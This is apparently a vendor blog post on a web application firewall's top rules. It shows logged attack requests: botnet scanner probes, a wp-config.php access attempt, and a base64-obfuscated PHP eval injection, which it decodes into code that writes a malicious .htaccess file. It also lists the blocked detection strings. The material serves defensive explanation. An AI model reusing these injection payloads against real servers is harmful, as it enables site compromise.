The BitNinja mature WAF module

We love to talk about our Web Application Firewall (in short: WAF) module, since its’ complete makeover and upgrade.

Before the WAF 2.0, we had a previous Web Application Firewall module that’s been completely redesigned: this was the reason why the new WAF module got a brand new name too: it’s called WAFManager now. But you’ll only see the module’s name like this in CLI, because we’re calling it WAF 2.0 most of the time.

We put a lot of time and effort into shaping the upgraded, mature WAF module into an asset that is effective and customizable for our users.

And why did we label our WAF 2.0 module as mature?

Our WAF is currently the only one on the market which can be configured by domain (using domain patterns).

We’ve organized the WAF rules into categories, using the OWASP Core Ruleset and our custom-made BitNinja rules.

We’ve created the BitNinja Safe Minimum ruleset template to provide basic level protection for your servers. We advise all of our users to enable it globally.

We provide a Log only mode to test the rules on the servers before they “go live”. All WAF users can analyze false positives easily on the Dashboard by domain and by rule.

We provide support for our users in setting up and using the WAF module effectively and responsibly.

And we continue to react to new vulnerabilities as quickly as possible, and creating WAF rules to patch them (e.g. DrupalgeddonModx CMSHello Peppa rules).

We’re very proud that with the help of our mature WAF module, we’ve had success in helping our customers eliminate phishing attacks and completely stop website hacks.

Top 5 WAF rules

So which WAF rules triggered the most incidents? According to our statistics, the Hello Peppa rules we added to our collection were quite effective in catching malicious HTTP requests.

The following rules are the top 5 WAF rules by incident count:

  1. Possible Remote File Inclusion (RFI) attack, off-domain reference/link (OWASP CRS rule 931130)

  2. First rule against the Hello Peppa botnet (custom BitNinja rule 404001)

  3. Restricted File Access attempt (OWASP CRS 930130)

  4. Second rule against the Hello Peppa botnet (custom BitNinja rule 404002)

  5. High-risk PHP function names (OWASP CRS 933150)

What kind of requests do these WAF rules catch?

Possible Remote File Inclusion (RFI) attack, off-domain reference/link:

Remote File Inclusion attacks exploit applications with insufficient validation to run malicious code from an URL located on a remote server.

Here’s a typical comment spam that got caught by BitNinja WAF (server name and domain information is changed for privacy purposes):

Url: []
Headers: [array (
  'Accept' => '*/*',
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.71',
  'Referer' => '',
  'Content-Type' => 'application/x-www-form-urlencoded',
  'Host' => '',
  'Content-Length' => '382',
  'Proxy-Connection' => 'Keep-Alive',
  'Pragma' => 'no-cache',
Post: ['']
Matched: [
ModSecurity id: [931130] revision [3]
msg [Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link]
logdata [Matched "Operator `BeginsWith' with parameter `%{}' against variable `TX:1' (Value: ` x0dx0a  erotic webcomics erotic romance ebooks erotic theater erotic acts  (10 characters omitted)' )]
severity [CRITICAL]

Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link

The spamming IP is trying to post this comment into a WordPress website for a blog post which got commenting enabled. The comment has an URL in it which could lead to a potentially malicious website, or it’s used to advertise that website with black hat SEO.

Protection from Hello Peppa botnet rules:

We’ve created these rules against the Hello Peppa botnet, but the attack payload doesn’t necessarily contain the string “Hello Peppa”. In this example, the following HTTP POST payload is used to scan the website (the result is urldecoded):

Url: []
Headers: [array (
  'Accept-Encoding' => 'gzip, deflate',
  'Connection' => 'close',
  'Content-Length' => '32',
  'Content-Type' => 'application/x-www-form-urlencoded',
  'Host' => '',
  'Referer' => '',
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/29.0.1547.57 Safari/537.36',
Post: ['h=die%28md5%28%275dm%27%29%29%3B']
Matched: [
ModSecurity id: [404001] revision []
msg [Scanner protection based on Hello Peppa botnet]
logdata [Matched "Operator `PmFromFile' with parameter `' against variable `ARGS_POST:h' (Value: `die(md5('5dm'));' )]
severity [CRITICAL]

ModSecurity id: [1010035] revision []
msg [Pattern [5a71b95e5df0bd0055462045]]
logdata [Matched "Operator `Gt' with parameter `0' against variable `TX:BN_INBOUND_FOUND' (Value: `1' )]
severity [EMERGENCY]

Our second Hello Peppa rule examines the status code of the HTTP response, along with the POST arguments of the HTTP request. We’re using chained ModSecurity rules for this operation:

SecRule RESPONSE_STATUS “404” “phase:3,id:404002, chain, 
 msg:'Scanner protection based on Hello Peppa botnet',
logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}'"
   SecRule ARGS_POST "@pmf" "setvar:tx.bn_outbound_found=+1"

Here is an HTTP request caught by this rule:

Url: []
Headers: [array (
  'Accept-Encoding' => 'gzip, deflate',
  'Via' => '1.1 filerserver-pc (squid/3.5.27)',
  'Accept' => '*/*',
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0',
  'Content-Length' => '32',
  'Content-Type' => 'application/x-www-form-urlencoded',
  'Host' => '',
  'X-Forwarded-For' => '',
  'Cache-Control' => 'max-age=259200',
  'Connection' => 'keep-alive',
Post: ['except=die%28pi%28%29%2A42%29%3B']
Matched: [
ModSecurity id: [404002] revision []
msg [Scanner protection based on Hello Peppa botnet]
logdata [Matched "Operator `PmFromFile' with parameter `' against variable `ARGS_POST:except' (Value: `die(pi()*42);' )]
severity [EMERGENCY]

ModSecurity id: [1010045] revision []
msg [Pattern [5bc44d9e5df0bd0059090bea]]
logdata [Matched "Operator `Gt' with parameter `0' against variable `TX:BN_OUTBOUND_FOUND' (Value: `1' )]
severity [EMERGENCY]

The POST payload of the request translates to the following string:

The rule triggers for the following values in the POST payload:

  • die(md5(
  • die(pi(
  • die(‘Hello, Peppa!’
  • exit;
  • ZXhpdDs=
  • ZGllKA==
  • ZGllKG1kNSg
  • ZGllKCc


Restricted File Access attempt rule:

This rule detects and blocks attempts to retrieve application source code, metadata, credentials and version control history that are possibly reachable in a web root, for example .htaccess, .htpasswd, wp-config.php, composer.json, Web.config and all the filenames listed on the OWASP CRS Github page.

Here is an incident the WAF has caught, because the wp-config.php file shouldn’t be a direct target of an HTTP request – if it is, the request is most probably malicious:

Url: []
Headers: [array (
  'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36',
  'Host' => '',
  'Connection' => 'Keep-Alive',
  'Cache-Control' => 'no-cache',
Matched: [
ModSecurity id: [930130] revision [1]
msg [Restricted File Access Attempt]
logdata [Matched "Operator `PmFromFile' with parameter `' against variable `REQUEST_FILENAME' (Value: `/wp-config.php' )]
severity [CRITICAL]

Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt

High-risk PHP function names rule:

This OWASP CRS rule contains a small list of function names which are highly indicative of a PHP injection attack, for example ‘base64_decode’, ‘str_rot13’, ‘shell_exec’. These function names are collected into a file, and the rule checks various parts of the HTTP request and searches for these names.

You can find this file on the OWASP ModSecurity CRS page.

And here’s an example incident caught by the WAF 2.0:

Url: []
Headers: [array (
  'Connection' => 'Keep-Alive',
  'Content-Type' => 'application/x-www-form-urlencoded',
  'Content-Length' => '1120',
  'Accept-Language' => 'ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4',
  'Host' => '',
  'Accept' => 'text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1',
  'Accept-Encoding' => 'identity',
  'User-Agent' => 'User-Agent: Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.17',
Post: ['pass=2a2325d0dc3141a808ab74670ac8c6f7&charset=Windows-1251&a=Php&p1=$wwqpxq%20=%20base64_decode("JGZpbGVfYm9keSA9ICdDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKVW1WM2NtbDBaVVZ1WjJsdVpTQlBiZzBLQ1EwS0NRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pVbVYzY21sMFpVTnZibVFnSlh0SVZGUlFYMVZUUlZKZlFVZEZUbFI5SUNobmIyOW5iR1ZpYjNSOFltbHVaMkp2ZEh4Q1lXbGtkWE53YVdSbGNpa2dXMDVEWFEwS0NRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pVbVYzY21sMFpWSjFiR1VnTGlvZ0xTQmJVajAwTURNc1RGME5DZzBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrTkNna0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUTBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSlJYSnliM0pFYjJOMWJXVnVkQ0EwTURRZ2FIUjBjRG92TDNSeWVXSmxjM1J6ZEc5eVpTNXpkUzg9JzsNCiRmaWxlX25hbWUgPSAnLmh0YWNjZXNzJzsNCiRyb290ID0gICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07DQppZiAoc3RycG9zKCRyb290LCcvJykgIT09IGZhbHNlKSB7DQogICAgJHBhdGggPSAgJHJvb3QgLiAiLyIgLiAkZmlsZV9uYW1lOw0KfQ0KZWxzZSAkcGF0aCA9ICRyb290IC4gIlxcIiAuICRmaWxlX25hbWU7DQoNCg0KZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIGJhc2U2NF9kZWNvZGUoJGZpbGVfYm9keSkpOw0KDQplY2hvICIjIyMjI2dvb2QjIyMjIyI7DQogDQog");%20%20eval($wwqpxq);']
Matched: [
ModSecurity id: [933150] revision [1]
msg [PHP Injection Attack: High-Risk PHP Function Name Found]
logdata [Matched "Operator `PmFromFile' with parameter `' against variable `ARGS:p1' (Value: `$wwqpxq = base64_decode("JGZpbGVfYm9keSA9ICdDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKVW1 (944 characters omitted)' )]
severity [CRITICAL]

Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found

Two things should catch your attention: first, the request was directed to a file called wp-reset-5bc97fcd11a305bc97fcd11a80.php, which could be a generated WordPress or plugin file, or it’s placed there by a hacker so it could also be a backdoor. Second, the data passed as a POST payload is incomprehensible for the naked eye; and it also contains the strings base64_decode and eval.

Let’s see the POST payload: if you find content like this, the tools urldecode and base64decode will come in handy. If you urldecode the string, you get the following:

'pass=2a2325d0dc3141a808ab74670ac8c6f7&charset=Windows-1251&a=Php&p1=$wwqpxq = base64_decode("JGZpbGVfYm9keSA9ICdDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKVW1WM2NtbDBaVVZ1WjJsdVpTQlBiZzBLQ1EwS0NRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pVbVYzY21sMFpVTnZibVFnSlh0SVZGUlFYMVZUUlZKZlFVZEZUbFI5SUNobmIyOW5iR1ZpYjNSOFltbHVaMkp2ZEh4Q1lXbGtkWE53YVdSbGNpa2dXMDVEWFEwS0NRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pVbVYzY21sMFpWSjFiR1VnTGlvZ0xTQmJVajAwTURNc1RGME5DZzBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrTkNna0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUTBLQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSkNRa0pDUWtKQ1FrSlJYSnliM0pFYjJOMWJXVnVkQ0EwTURRZ2FIUjBjRG92TDNSeWVXSmxjM1J6ZEc5eVpTNXpkUzg9JzsNCiRmaWxlX25hbWUgPSAnLmh0YWNjZXNzJzsNCiRyb290ID0gICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07DQppZiAoc3RycG9zKCRyb290LCcvJykgIT09IGZhbHNlKSB7DQogICAgJHBhdGggPSAgJHJvb3QgLiAiLyIgLiAkZmlsZV9uYW1lOw0KfQ0KZWxzZSAkcGF0aCA9ICRyb290IC4gIlxcIiAuICRmaWxlX25hbWU7DQoNCg0KZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIGJhc2U2NF9kZWNvZGUoJGZpbGVfYm9keSkpOw0KDQplY2hvICIjIyMjI2dvb2QjIyMjIyI7DQogDQog");  eval($wwqpxq);'

Not much better, but we can spot that a long string that looks like gibberish is inside the argument list of base64_decode(). This is a PHP function for decoding data that has been encoded as MIME base64, which in a binary-to-text encoding scheme.

We also have online tools to translate strings that have been encoded with base64, so if we transform the string above using, we get the following PHP code:

$file_name = '.htaccess';
if (strpos($root,'/') !== false) {
    $path =  $root . "/" . $file_name;
else $path = $root . "\" . $file_name;

file_put_contents($path, base64_decode($file_body));

echo "#####good#####";

Requests that contain code obfuscated this way are usually malicious. If we take a closer look, we can see that a list of ‘random characters’ is put into a variable called $file_body. This is also a string that’s been base64 encoded, because in the line starting with file_put_contents, it gets transformed by the PHP script.

We can also see, that this script is trying to save a file with the name .htaccess to the document root (the local path to your website on the server) of the server.

This is bad, because we don’t want others to save files to our server without our permission.

But let’s see what that long string in the $file_body variable translates into, run it against base64 decode:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|Baiduspider) [NC]
RewriteRule .* - [R=403,L]
ErrorDocument 404

Okay, it looks bad, but how will it be executed on my server?

In the POST payload, this whole encoded script is put into a variable called $wwqpxq, and the last line of the payload is this:


eval() will evaluate given code as PHP,  so it allows execution of arbitrary PHP code. The whole above-mentioned script could be executed on your server, and an .htaccess file could be created without your knowledge or consent, if the system is vulnerable.

That’s why it’s a good thing that our WAF rules caught this request 🙂

And some numbers to conclude…

BitNinja has caught 111,857,737 incidents in 9 months this year, and 8% of these were malicious HTTP requests caught by our WAF module. You can see the number of incidents BitNinja WAF 2.0 has caught during this time period.

We’re really happy that our customers are using the mature WAF module and we’re continuously on the lookout for new vulnerabilities and zero-days and patch them within 24 hours in most of the cases.

We really hope that you also find our WAF module practical and the configuration options user-friendly. Do you have anything to share about it? Write us in the comments below.